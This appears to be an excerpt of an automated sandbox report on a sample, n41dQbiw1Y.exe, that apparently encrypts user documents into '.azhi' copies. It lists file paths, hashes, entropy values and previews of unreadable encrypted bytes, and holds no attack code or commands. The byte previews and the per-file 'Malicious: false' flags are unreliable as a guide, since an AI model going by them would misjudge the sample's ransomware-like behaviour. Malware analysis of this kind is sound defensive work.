Size (bytes):	1360
Entropy (8bit):	7.829333217711207
Encrypted:	false
SSDEEP:	24:8DMfwIz/52wf3kGwS04jC8O6EoQu3PYLzKBzLvh0Ac65gbfxSbD:mEzBpf3nwS04jCn/u3i/65gbfxAD
MD5:	5ABEAC6C1553981AB20DC7F019CAE682
SHA1:	7983BEED6568804F06E46B5B1A06334E1A9C49A2
SHA-256:	70D640B3BD5DFE659B1CABB353274D7F0D6EE7ECB19F66F46D242B914FE0E1A5
SHA-512:	EF326EA2FD95DB8423327EDC4AD138303451DCEAA2E3FC6CD42A5C57EF55575001B242BA187F5DE63B45FDF76C97597ACACCFE5EDCF30A3FC729A2AFC28C8313
Malicious:	false
Preview:	WKXEW.l].+....Pxx..!1a.....X.0......D..c.:..B)@...#".6>.Hj.v..l6p.H.S.G...f...8N..k1.......DFJx....p.+.....y...&.........[...%...;.N.I[G...M....Q/.W..{uV9l.K:..R0../m.`;,~..56..N.S.i....lX&....G.VR..7.SNCke....U.L..F...3..8..j..f............B....lc.>X..S.R.aR..v....l9...+.v...?U..[.e).:R.rU..,JS..S..Zp....L......`.'..r...<G...%.2..G..BHc.".ps.WJ..k....i1.I....U.....t.F'.F.j.v.0....................%...%.G%...Y^...Xd..&....=.:P8.6.(p.rs...t.R....?gL....P..Kw....i..U.....2.~.;.)rS.7......}h+C......h....R.j.._..U.r.PS.uB...?.K....S..Zy...'.=..d.c."....m....s....\|.K....>..Y.s..yC.hkJU..%.t'.a&zz}....yK.......:...N).`O.....9...._...<.L?.P.&.v..1}V.s.TEJ.I[K.....:.:.........m~.z..Z..CYu.XuP`.......%!..1.....T_.p2...?...WF..B.k.l..H..s.B<....i.hS._.......O.:..:..Oi......+....E........q.......;..C?ps..\|..f...._.l.......i.$...D..tX.......`x.U..s.......E.i$.$Ek~fx...JI..I..nMP..\|')\|)jr.%..f.W.....kt.z..^.0...[..qjx...d.Pl.nQ..c...6.5.p.

C:\Users\user\Application Data\Microsoft\Windows\Recent\WUTJSCBCFX.png.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849454193158972
Encrypted:	false
SSDEEP:	24:9oKu7KaXIPG54ZLClsbQJxpNy/kVCMawHIf4zjopyPaci9qI5ybD:CKujIPM2LUsb8xpNy/g/awH+ZVnKD
MD5:	B341E45A2E9EF9E1ED7D145310D6E485
SHA1:	3F25ABE3B30A65DC11A14C895A613DA48CF89229
SHA-256:	7F6728509AD1276DD2840F07D0F8193701EBAB3FA3E23BA65AB32BE96F0C2EE7
SHA-512:	19CD26A259467C25BDA43E2FD8281618985C7E4555904E7DA28F4E7C13CE91B2572CD2A721968301D56B93A08C5697A6150DFCFC68D89403D70DA875F09108DB
Malicious:	false
Preview:	WUTJS2[...Z...7..8..{.\|.Da..........r\|7........s.:]j.".../.(7<....LO....g...[jZ..4..tci..uBX....o.$..#h..W.. .....V..=G.(KHjv.b....X...S...9f%..9...YxU?Qc..T..........mZ.....'P.Q..3....s.s}/......DS,......L...@.Bgo1.....m. ...Tw..._Bi........o.^.....<..x5@r..p.LHr...o8.I7~4.]....h..(#a.8_..7.@{.I?.\.......?..+..kM.d._.(_^.S];...P0.b.I..[..4.....jaDDM....S..........~gt=b....A}......8t.%^.5.Ny.\D..Z......:..l.....93....D........m..L$EDel.~.E......=..P.[.H...H..'E...P/..&ySk.....'.h.y.....2....4.... Y.#.y....Nt.Y....0.M.b..b........Mj"...... &0..(..~Q.p. .....h...V.2..O)....!.E..y.i..>Iw"...Rh.....qX..H.u.)yv..`p.K..O.H..cF?..;yI...V..U......S.O..i.&.C!~8.&....&.R......S.f...U..%.F1.....o...g.)hiOm.M".T,.bE..:Le.o.......+.7~0h.~.?.k(D........."..z...).8l.@].l.....g.+.i.....C..}.L..k..#0..i.1....pp.....%.;..../l8.".M.......=.f../......!....p.D..Y....-^. eT.b.E..X......j9>..w....-.&.7..k.v.F.<?.$..t........J..;..9..L..."../.2..u..n...H.Z....G

C:\Users\user\Application Data\Microsoft\Windows\Recent\XZXHAVGRAG.docx.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858564904509114
Encrypted:	false
SSDEEP:	24:mzARDtkexB4StxXhOIEFq3++AL/mBdWKFwdMw998C2F3nbD:GYk6B4SNOI8qO3LOLXwh99sFrD
MD5:	0203903D1E5986BEAF882B280CD7DB83
SHA1:	DBD2FC78816938FF71EB2B076CBA9B226F2930B5
SHA-256:	A6C7812BCD9021141604764A4D8038BAD226FB136219F574CED99294325ABE96
SHA-512:	63213F9FA4FFAEEBA0F2B5F31AC2DD91DDD0227A8AB34E1FE27B2BFFEA9594A9DDC90616BED20D640055B26945295CB19C74E44950769C2A90EBDE1ACF307E66
Malicious:	false
Preview:	XZXHA..dU,....!..D`._3.Q.#.(.%<lb..qM.."O...Z.\.6iJ........mG.....t...............E..{u..{.-S...Vk.<.=}\Q...c.k..s....[....C.;....>Z.m.!.w.Fyt.......e.k.......b..%....\|..H.X4_....',P.#....X".B.~....iH.#...J~...eJ........q.vM..H%0...n....~..P"M.N.i.3.<.F...\..)/N...pp..QV..M..J.up..K....j..Tu_..........O.0..)%.w..........)......h...\|.V4....>....uw.`....L.)C......o9D}.0..(=.....{....G.(e....].E..q...?Mxq......f.......$$.......9.Q\.&?.....#...J..h.$.`...'.3........GR.$aF..[.`..n.A....U... ..z.oW{h..U24-...Z.[..lO.Zc....N.....Y"..~q..'.v...9.0..j..j...lQ.. Q..........k...`&.........._V....\|.......T.g.[....v~6:....a..M.%bu...Lr7...G;.-..L<..u.....#..\|.T....2.#.....X.4p..o......8S0..(.c..r(..Mc..4..Q.../..y2w....Z}...W...9P.\.......qZ6tQr.7G...5..:9...H..oTVGF.u-..}}t$C.c.d...w.k.t^..........b..t.ok......H\R.?...?..D"dqJ(.c.e..+.O.s.1N...!....C.....W.......n.J..H...@.=@.H..$.n...G.,v ....w.a.u\@..k.O. k6.....L.A.m.(GR..........$.

C:\Users\user\Application Data\Skype\RootTools\roottools.conf.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	410
Entropy (8bit):	7.351128287636371
Encrypted:	false
SSDEEP:	12:rwXxZ/mBQGc0FGfYNyA8wkq46vAGTVYYcii9a:kBZ+B40F8ocRq46oGTV9bD
MD5:	91CE20FD52D0BC93CCA21B4BF29936CA
SHA1:	335D7F38461C9A025E5FB32EF477532D4F5A0BFB
SHA-256:	78D16FABC0657D832E82FA60D5657C74F52195F48A751730AD35C1E66C4CFC28
SHA-512:	EC6ABBA103EF58F9EA5CDEBC5A162ACE921E14501492B615920377140BFF25AB2455E0D85ACC6F779F4699EB16B20FC5895E55AB0735703194C7880A5A36DC99
Malicious:	false
Preview:	node_..x.8..j.=U2V.m.>u.'..a>.v.I......$...h...Z....4@<.....:.uS..m.v......YY...+T=d7q?H.e.^.u.&..xS_K.C.._Hpf[.1}...wU...S....(.f+>Ng.......>Dl.#&'.=q..'.\g.6.g..2p.R.....C..V....*..........b..=L..x....0,o:..9..g....W..<.$'6.C..F.Fj.......$.T..A.{...N_..6..l....D......=W...9P.:E.iTX.9..,....{..^.._mE....)UGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Desktop\UMMBDNEQBN\UMMBDNEQBN.docx

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856502671575868
Encrypted:	false
SSDEEP:	24:04CigiFUipbPiE9hI4cDdIfXumrKz1ltEZ398LBwyDucBu7n22v9BbD:jFUixI5DdIfemuLCZmmyacYjb9RD
MD5:	973447520DC4D1A753CA9D199C93D333
SHA1:	4B7ECA92619FF05AC58DE4C0DA2D751D11A51395
SHA-256:	361BF8A21A989C9A2C6DD95FA4192245979291C98C9D06BBDF71A840A2F4DC34
SHA-512:	088711B0E7939F06D0B1113BC63214E9F8321C4AEDD54C68BE715731F44563D390C5413F3E35883597513B98E0C589F625983666B5C262D1C6FD61037BEBDC56
Malicious:	false
Preview:	UMMBD........0?....5.1?.....s.].1.A...r.mG.Q...."...S.9..p..c.8.:..k.GE...!..nP.MM...h._u.:H..GtZ..3,.}...K).k<j..QA....y.....f.tP\|`...\...o......._7mhc..PV'Q{.....Ob....S.%.d.&....y,.p..V.2}.z....P>.R.0.....6mW..... g.., ...a5.....M. .Z.RV..X<z.U....o..2J.u.I..[...Z.t6.}...................=...2@...wuS....D.7.B.h......2.T.Aiiy..Q.......}.].<.c._U..........T....q.U.%.{..f..Mg..{..d%c..n.\|....;Kf..rQ...N).+.E.v...6......a}.D._..`.5..\..v.'.(s.T...@`..GAGk...a...g.fTe..(...C..?.D7].pj^...`......[.b..8J..E.x.........n...b.P.@.+....&.....D.ojE.a..&...._._.J.KKC.g...w..a..r.L.....A..F..$.U...P!.l..e..G.......&..vI...?[?.U....u..$B..%..BO...%...xIQ....V...3..OFh...<.Q.mT........d].r....b..."C.../Jo!.Y.l.%ay#..-.w.0..Q..s.\|._@.-[)..p...k$.7..........{...=\0....Z.n............=..I.q..Q.C..S...m....S..$..p..L....R.b..&L...E...@..kw.sg......ql..[...X...#.E..g...F...{f.....J[......(....n.{......P.~@...6=......F....x.....q....R8f*...aH.

C:\Users\user\Desktop\UMMBDNEQBN\UMMBDNEQBN.docx.azhi (copy)

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856502671575868
Encrypted:	false
SSDEEP:	24:04CigiFUipbPiE9hI4cDdIfXumrKz1ltEZ398LBwyDucBu7n22v9BbD:jFUixI5DdIfemuLCZmmyacYjb9RD
MD5:	973447520DC4D1A753CA9D199C93D333
SHA1:	4B7ECA92619FF05AC58DE4C0DA2D751D11A51395
SHA-256:	361BF8A21A989C9A2C6DD95FA4192245979291C98C9D06BBDF71A840A2F4DC34
SHA-512:	088711B0E7939F06D0B1113BC63214E9F8321C4AEDD54C68BE715731F44563D390C5413F3E35883597513B98E0C589F625983666B5C262D1C6FD61037BEBDC56
Malicious:	false
Preview:	UMMBD........0?....5.1?.....s.].1.A...r.mG.Q...."...S.9..p..c.8.:..k.GE...!..nP.MM...h._u.:H..GtZ..3,.}...K).k<j..QA....y.....f.tP\|`...\...o......._7mhc..PV'Q{.....Ob....S.%.d.&....y,.p..V.2}.z....P>.R.0.....6mW..... g.., ...a5.....M. .Z.RV..X<z.U....o..2J.u.I..[...Z.t6.}...................=...2@...wuS....D.7.B.h......2.T.Aiiy..Q.......}.].<.c._U..........T....q.U.%.{..f..Mg..{..d%c..n.\|....;Kf..rQ...N).+.E.v...6......a}.D._..`.5..\..v.'.(s.T...@`..GAGk...a...g.fTe..(...C..?.D7].pj^...`......[.b..8J..E.x.........n...b.P.@.+....&.....D.ojE.a..&...._._.J.KKC.g...w..a..r.L.....A..F..$.U...P!.l..e..G.......&..vI...?[?.U....u..$B..%..BO...%...xIQ....V...3..OFh...<.Q.mT........d].r....b..."C.../Jo!.Y.l.%ay#..-.w.0..Q..s.\|._@.-[)..p...k$.7..........{...=\0....Z.n............=..I.q..Q.C..S...m....S..$..p..L....R.b..&L...E...@..kw.sg......ql..[...X...#.E..g...F...{f.....J[......(....n.{......P.~@...6=......F....x.....q....R8f*...aH.

C:\Users\user\Desktop\VLZDGUKUTZ\NWTVCDUMOB.pdf

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866774469527479
Encrypted:	false
SSDEEP:	24:2fvl+KF6+HtjzBaQ0vs6uHhKj/ASPk29SbjaYGKvKHcTPOHOHKRdbCvf6bD:2HoKAUtjQQ0U6ugjhB4JXv5KOqRdbC4D
MD5:	43D8E5646BE3E3107174AD0C2DBBE3DB
SHA1:	549064084B5847B0D2BAEC03717143D3241C09C9
SHA-256:	95868EB266C06F4A2B5D0C830BF2CDCFB15041D19A18B462E014985CA604AB2D
SHA-512:	373D57984F5F9FDE30CD4591D82D9CD1E985C463F6D9CF8FAF2C92BED28C41C5157D2418AA75FBEEE3B4039FCAD7FE6D73A0EB7BA42D71DBA45B3F79EDBAA378
Malicious:	false
Preview:	NWTVC..4.9..+z.~.6..\.[JrK........3>.nA....z.Hi.&..{.'.....N...h......;.c..vkc...&.m_...E.{../...3C..>.#J....P...S[....S...'...*...aI.5..F.t........;...[..7..<.{.."Z........z........Ym.a..C@T.J....BS.uV..%.. DK.1!.gm......J.}..&ep:.D.....(...B.u........r`.W...:...>.......x..]c.dQ....u..."w.8.t...._.....D..,..).qk.[7.#....H~.\|.0?\|U............Y...jS..4....BI...6.B.b..H...p.{.}..........'I......6..l....A/$u.v..\....`....uZ.@%.g. R... .T...:q.^C....8..9....tLK0...`.\f....;.Wu..j..\.....\|.]..7{..z.ew.. ....+.....65...k...H/<..b..H.~...&..G......z...<.>.DV&O..D.....A.z.....L..m..z..q........Gw=.........<<:.0..xB]k..z...).4<3mGz;...x.H..\.fd.P..3...X.'.[.........]7..D......Tb.(.).^7.F.Mo._..JB....P...i,l..6....QA.-...G7..m.......f...KN.V..m%...Q..'.._.....~...G L"}.5.J.O....D.K..l...{.@.......}..j..w?.C....<"..g}.. .c.."......A.......[...]B..F....).......i9E..>..$..T3}p..{.v...}...}....(.?v.<yNI.E.h.m..W..uw..a....p.K..k+/...s...HD..v,.

C:\Users\user\Desktop\VLZDGUKUTZ\NWTVCDUMOB.pdf.azhi (copy)

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866774469527479
Encrypted:	false
SSDEEP:	24:2fvl+KF6+HtjzBaQ0vs6uHhKj/ASPk29SbjaYGKvKHcTPOHOHKRdbCvf6bD:2HoKAUtjQQ0U6ugjhB4JXv5KOqRdbC4D
MD5:	43D8E5646BE3E3107174AD0C2DBBE3DB
SHA1:	549064084B5847B0D2BAEC03717143D3241C09C9
SHA-256:	95868EB266C06F4A2B5D0C830BF2CDCFB15041D19A18B462E014985CA604AB2D
SHA-512:	373D57984F5F9FDE30CD4591D82D9CD1E985C463F6D9CF8FAF2C92BED28C41C5157D2418AA75FBEEE3B4039FCAD7FE6D73A0EB7BA42D71DBA45B3F79EDBAA378
Malicious:	false
Preview:	NWTVC..4.9..+z.~.6..\.[JrK........3>.nA....z.Hi.&..{.'.....N...h......;.c..vkc...&.m_...E.{../...3C..>.#J....P...S[....S...'...*...aI.5..F.t........;...[..7..<.{.."Z........z........Ym.a..C@T.J....BS.uV..%.. DK.1!.gm......J.}..&ep:.D.....(...B.u........r`.W...:...>.......x..]c.dQ....u..."w.8.t...._.....D..,..).qk.[7.#....H~.\|.0?\|U............Y...jS..4....BI...6.B.b..H...p.{.}..........'I......6..l....A/$u.v..\....`....uZ.@%.g. R... .T...:q.^C....8..9....tLK0...`.\f....;.Wu..j..\.....\|.]..7{..z.ew.. ....+.....65...k...H/<..b..H.~...&..G......z...<.>.DV&O..D.....A.z.....L..m..z..q........Gw=.........<<:.0..xB]k..z...).4<3mGz;...x.H..\.fd.P..3...X.'.[.........]7..D......Tb.(.).^7.F.Mo._..JB....P...i,l..6....QA.-...G7..m.......f...KN.V..m%...Q..'.._.....~...G L"}.5.J.O....D.K..l...{.@.......}..j..w?.C....<"..g}.. .c.."......A.......[...]B..F....).......i9E..>..$..T3}p..{.v...}...}....(.?v.<yNI.E.h.m..W..uw..a....p.K..k+/...s...HD..v,.

C:\Users\user\Documents\DTBZGIOOSO\DTBZGIOOSO.docx

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846901537985376
Encrypted:	false
SSDEEP:	24:rYLsWBWJnk3c/TTIe8/GW2mMEkfG6/b+V47orHFWr1EER/KrD7WKDQx2EbD:rcGJna8BLbN+caShEERiHCKsbD
MD5:	C6E8E265BD815BA90C888AE3A6BEBC7D
SHA1:	90FB4556826840947A278B891E07E1D2780C4966
SHA-256:	3915ACA4F3286B1639AD0727FF36C91A687F89E59A436A9B5847B816586119AD
SHA-512:	AEDC4ABE4C043DA9BB342FBBA59A263528D129C7D851965260336FDEA921DD0DB85F56ABDC3A53C1FB2F6A29376C68FC207C9C0981E9AFB95662B9C6ABDF5D3D
Malicious:	false
Preview:	DTBZG...vO....`..2...;...;.....]J....cX..#R..?.2..^.7.../;.D....L.i.IL].,...F."..!.<.....m.p.....H....W.....ZZ....\(....\|.E....H].j...y.5;...k...w5uIv.f..Rv............. ..V.?.d.(.....3,E.R....V....E........d-Y..;....5j7..7..}.:Cey...k.P.<7.r...{.p.r......t.,G....6.~......A9\r.....ba....L..G..........\|.F.[.V.M!U....$]...-..@d.d....`.....1X...,t..].(.[...n.."N..&..-..S....?..k..._..5.....q..bT..%..@.........].a........A...@Sa...>..=......Msj<o.s.0.G{.w...D.......3.9A{.X7..L.....I\|.......\|^s..`...qh...G.H.C...o./.....$oj.y.T.f.....k#.:.....%\2.......S7.o.t....G..J..F...z.RM.........U)i.......q./..Bg...3......(.(p......UQ.L3G..(a.Q...O.S..63.D.....\.@:p..b.>.$......yDm&[.+o2=I..3...K..)N.,,.;b.=..ki....y......._..N.a..@[...Y.P...-....9QT.....~..CG(....}..$.F.B\K..y;.....#.....{.H....".}...Z.....e.W.pW1B...-..qb.M]...3..'19(.9....!'7.....tm..!...+#.z..o...vX.=r..w;.\...H.bLu.a..S...b.]v..PW.Q....~...*..8~._e.P..\b.Y9.P..?..S.6..%..!

C:\Users\user\Documents\DTBZGIOOSO\DTBZGIOOSO.docx.azhi (copy)

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846901537985376
Encrypted:	false
SSDEEP:	24:rYLsWBWJnk3c/TTIe8/GW2mMEkfG6/b+V47orHFWr1EER/KrD7WKDQx2EbD:rcGJna8BLbN+caShEERiHCKsbD
MD5:	C6E8E265BD815BA90C888AE3A6BEBC7D
SHA1:	90FB4556826840947A278B891E07E1D2780C4966
SHA-256:	3915ACA4F3286B1639AD0727FF36C91A687F89E59A436A9B5847B816586119AD
SHA-512:	AEDC4ABE4C043DA9BB342FBBA59A263528D129C7D851965260336FDEA921DD0DB85F56ABDC3A53C1FB2F6A29376C68FC207C9C0981E9AFB95662B9C6ABDF5D3D
Malicious:	false
Preview:	DTBZG...vO....`..2...;...;.....]J....cX..#R..?.2..^.7.../;.D....L.i.IL].,...F."..!.<.....m.p.....H....W.....ZZ....\(....\|.E....H].j...y.5;...k...w5uIv.f..Rv............. ..V.?.d.(.....3,E.R....V....E........d-Y..;....5j7..7..}.:Cey...k.P.<7.r...{.p.r......t.,G....6.~......A9\r.....ba....L..G..........\|.F.[.V.M!U....$]...-..@d.d....`.....1X...,t..].(.[...n.."N..&..-..S....?..k..._..5.....q..bT..%..@.........].a........A...@Sa...>..=......Msj<o.s.0.G{.w...D.......3.9A{.X7..L.....I\|.......\|^s..`...qh...G.H.C...o./.....$oj.y.T.f.....k#.:.....%\2.......S7.o.t....G..J..F...z.RM.........U)i.......q./..Bg...3......(.(p......UQ.L3G..(a.Q...O.S..63.D.....\.@:p..b.>.$......yDm&[.+o2=I..3...K..)N.,,.;b.=..ki....y......._..N.a..@[...Y.P...-....9QT.....~..CG(....}..$.F.B\K..y;.....#.....{.H....".}...Z.....e.W.pW1B...-..qb.M]...3..'19(.9....!'7.....tm..!...+#.z..o...vX.=r..w;.\...H.bLu.a..S...b.]v..PW.Q....~...*..8~._e.P..\b.Y9.P..?..S.6..%..!

C:\Users\user\Documents\DTBZGIOOSO\XZXHAVGRAG.xlsx

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855398965824236
Encrypted:	false
SSDEEP:	24:u10ra7aL711o7pW6jf2jZ66laseJcAKvgDAPiYeqgww4fQqvvOF9vaifUEGHjT0X:ueya311o7pWG+Vpm26ZXwxp3k9zM/T0X
MD5:	D33850C46C9880826EBD460041F871AC
SHA1:	B798FAC99A92689B726FC433C9DEC993726B406B
SHA-256:	EFA2AB2ECC4A6FE43800E497CC1B405A6F363AC2144E1CE28DB8EEE16C576D43
SHA-512:	5DF729A45631715915EE4CB215ABEBBB2ADFB655DC7372A2640692C72ACAC70A9861CCB5BF6B978DA302993D2952A1C8EE5ED9204FFCDEAA27E5F32ABACD02FC
Malicious:	false
Preview:	XZXHA^..].YZ+).3{...tl.....W....R+.7g.`.;3T.O..u... .2........\|.$}.....#r........n........Z'.I...{.N....O.q.G....\|....-.l0Y....b.kW...].....-zVv.........Q.=.j.Odg.}..j.R.4..6^.B..X.=.........K. #+..?%WC.SA....Q.V%.B...`....L.+Y..M....88....W..........t.....J......I....om..^.{.(s.H...h_A..fJ.%B.+.u.f....M.f..H+......]..j....7......b..d..o...z....F..~.=X.......(.X.5<..b"z..v.......{.f%....._.....@=........\|.s..~...........T.v.. ^......S94e.x.S....v.+~3.f.l....E......`iT.-...gY..I.........wY..9..D..z...g.Er.............+;...k..r0.Q.Fi...A...gi...4..@...,(...Nm.'.o..'..'y......<....qo.`..c.&..V+G...[z.3.?O..w.].]Rw...e&.?c.D%..].7....K....&)...E...4.....@p.Qh..~.3.,.,g.}...#U-.(.8..[.k.....&.?........0{A.zX.,$....Fb.t<./okO....q....aU...M.m,.#...Q......D.Z].U.F.:9..h....V#.fa..]u...e.......;.6.&..hD.}N...8x.j4.......cN4.6=o.n.D..X.B..ze.T.(B..o.7....\..E.0.+...gZKq..5.@......-...&1...Q..c......D.@0..vq..z^H..f..s.&.."..ne!.........

C:\Users\user\Documents\DTBZGIOOSO\XZXHAVGRAG.xlsx.azhi (copy)

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855398965824236
Encrypted:	false
SSDEEP:	24:u10ra7aL711o7pW6jf2jZ66laseJcAKvgDAPiYeqgww4fQqvvOF9vaifUEGHjT0X:ueya311o7pWG+Vpm26ZXwxp3k9zM/T0X
MD5:	D33850C46C9880826EBD460041F871AC
SHA1:	B798FAC99A92689B726FC433C9DEC993726B406B
SHA-256:	EFA2AB2ECC4A6FE43800E497CC1B405A6F363AC2144E1CE28DB8EEE16C576D43
SHA-512:	5DF729A45631715915EE4CB215ABEBBB2ADFB655DC7372A2640692C72ACAC70A9861CCB5BF6B978DA302993D2952A1C8EE5ED9204FFCDEAA27E5F32ABACD02FC
Malicious:	false
Preview:	XZXHA^..].YZ+).3{...tl.....W....R+.7g.`.;3T.O..u... .2........\|.$}.....#r........n........Z'.I...{.N....O.q.G....\|....-.l0Y....b.kW...].....-zVv.........Q.=.j.Odg.}..j.R.4..6^.B..X.=.........K. #+..?%WC.SA....Q.V%.B...`....L.+Y..M....88....W..........t.....J......I....om..^.{.(s.H...h_A..fJ.%B.+.u.f....M.f..H+......]..j....7......b..d..o...z....F..~.=X.......(.X.5<..b"z..v.......{.f%....._.....@=........\|.s..~...........T.v.. ^......S94e.x.S....v.+~3.f.l....E......`iT.-...gY..I.........wY..9..D..z...g.Er.............+;...k..r0.Q.Fi...A...gi...4..@...,(...Nm.'.o..'..'y......<....qo.`..c.&..V+G...[z.3.?O..w.].]Rw...e&.?c.D%..].7....K....&)...E...4.....@p.Qh..~.3.,.,g.}...#U-.(.8..[.k.....&.?........0{A.zX.,$....Fb.t<./okO....q....aU...M.m,.#...Q......D.Z].U.F.:9..h....V#.fa..]u...e.......;.6.&..hD.}N...8x.j4.......cN4.6=o.n.D..X.B..ze.T.(B..o.7....\..E.0.+...gZKq..5.@......-...&1...Q..c......D.@0..vq..z^H..f..s.&.."..ne!.........

C:\Users\user\Documents\ONBQCLYSPU\UMMBDNEQBN.xlsx

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843641590472081
Encrypted:	false
SSDEEP:	24:N8sXRSnbp10Qqyk4s6SgTu+u67pr+PG0UdVPvLxQ1aDmpOXq6IanbD:NjBA10l4s6Sd+DrfhXLxQ1alq6IabD
MD5:	581DBE3B7C51C7FB8A73D5B11F8CF4AE
SHA1:	753914E841E57B00D0B300F036D45C1387FE9CE2
SHA-256:	9F387DC01CA3324C989CD88E47566805F632D5C1D8880C504E5B55DFE9B469F7
SHA-512:	AEA653D6426FCFE235BEB2EC3C79479D424544408C482E00E90D03DFDA3641CE352B689C3BC8BB79961789BEBAAD77B6FA72F5B754ED2238C868BF73AE75A519
Malicious:	false
Preview:	UMMBD..i.=6_s....q;......HSD....&....Q"...I..b.t.........7..(.y...T>.l.E...ze?.,M.W.5.y.......6....YV.._...$?.>...u.a@.y.@...\...[1....@+dK...8........g'.1.\|..7.Ww..0..Z..`Fb4...tMH..F.}#.2.....<.v.p.G=...)..8c.....>.j.52..l...I...0.?.4..R.1.7....x..0...Hm.0.1.k...S...g..s......,wG.k.F.O..!...0....-....Pv...\|\._0.a...y..U.o.2..m\|.....>y:D.\|,...g...kC.&y....f...:....1._....j.j.N....=o .\.....s.iC..K....v.kl.J....St..E..Y.....rv....&....I$.............[...^..8BP.rL.>...V6...?...ixy..L.H.el.:....4......A.mW. ....\|2.E.....sSS....'......o..1..m. #...........8...1.Zs.0...5...U..1...=....+R.K.\...t.........>[.......g%X...H..'*Sp......\|..'.6.....n-0.2.W.g.....s..U$#...j..o..5..}.+P.ld..v..@.......~9...Z+{....bK.....Vd./..1.....l.."...."..?.tc...?L]w...N..P...WY`..N#...C.j...%..OL.\|.b.. ..'n.1...(...).E0pn@.-6lM....h.....u...k1.V.Q....3i..'&.}pa.._..o.H5,.../!....c.^.Y4..0hy.\|....#...D,k...<y.B...v.u..tO.....H.K..E..w.O....&.m..O.u.N...?...'.jx..

C:\Users\user\Documents\ONBQCLYSPU\UMMBDNEQBN.xlsx.azhi (copy)

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843641590472081
Encrypted:	false
SSDEEP:	24:N8sXRSnbp10Qqyk4s6SgTu+u67pr+PG0UdVPvLxQ1aDmpOXq6IanbD:NjBA10l4s6Sd+DrfhXLxQ1alq6IabD
MD5:	581DBE3B7C51C7FB8A73D5B11F8CF4AE
SHA1:	753914E841E57B00D0B300F036D45C1387FE9CE2
SHA-256:	9F387DC01CA3324C989CD88E47566805F632D5C1D8880C504E5B55DFE9B469F7
SHA-512:	AEA653D6426FCFE235BEB2EC3C79479D424544408C482E00E90D03DFDA3641CE352B689C3BC8BB79961789BEBAAD77B6FA72F5B754ED2238C868BF73AE75A519
Malicious:	false
Preview:	UMMBD..i.=6_s....q;......HSD....&....Q"...I..b.t.........7..(.y...T>.l.E...ze?.,M.W.5.y.......6....YV.._...$?.>...u.a@.y.@...\...[1....@+dK...8........g'.1.\|..7.Ww..0..Z..`Fb4...tMH..F.}#.2.....<.v.p.G=...)..8c.....>.j.52..l...I...0.?.4..R.1.7....x..0...Hm.0.1.k...S...g..s......,wG.k.F.O..!...0....-....Pv...\|\._0.a...y..U.o.2..m\|.....>y:D.\|,...g...kC.&y....f...:....1._....j.j.N....=o .\.....s.iC..K....v.kl.J....St..E..Y.....rv....&....I$.............[...^..8BP.rL.>...V6...?...ixy..L.H.el.:....4......A.mW. ....\|2.E.....sSS....'......o..1..m. #...........8...1.Zs.0...5...U..1...=....+R.K.\...t.........>[.......g%X...H..'*Sp......\|..'.6.....n-0.2.W.g.....s..U$#...j..o..5..}.+P.ld..v..@.......~9...Z+{....bK.....Vd./..1.....l.."...."..?.tc...?L]w...N..P...WY`..N#...C.j...%..OL.\|.b.. ..'n.1...(...).E0pn@.-6lM....h.....u...k1.V.Q....3i..'&.}pa.._..o.H5,.../!....c.^.Y4..0hy.\|....#...D,k...<y.B...v.u..tO.....H.K..E..w.O....&.m..O.u.N...?...'.jx..

C:\Users\user\Documents\UMMBDNEQBN\BPMLNOBVSB.jpg

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837855982097274
Encrypted:	false
SSDEEP:	24:43Z7TA1Fp4pwwMr47ieK8+6DZJoghDh9uV+WJJr+cJ6AzdRrGsbbD:4J7TA1j4w5r4mN6bog9h9uAAwy6Y5fD
MD5:	1B8BBF24103CBE5F4BED5720D3E0F01F
SHA1:	067C7E1784D2568E4E37A1B34EAF239C1FA09FF4
SHA-256:	37B90F5058C29EDBFF5D2091385F3BA1F996729979E4F536B39B8FF77FA73BED
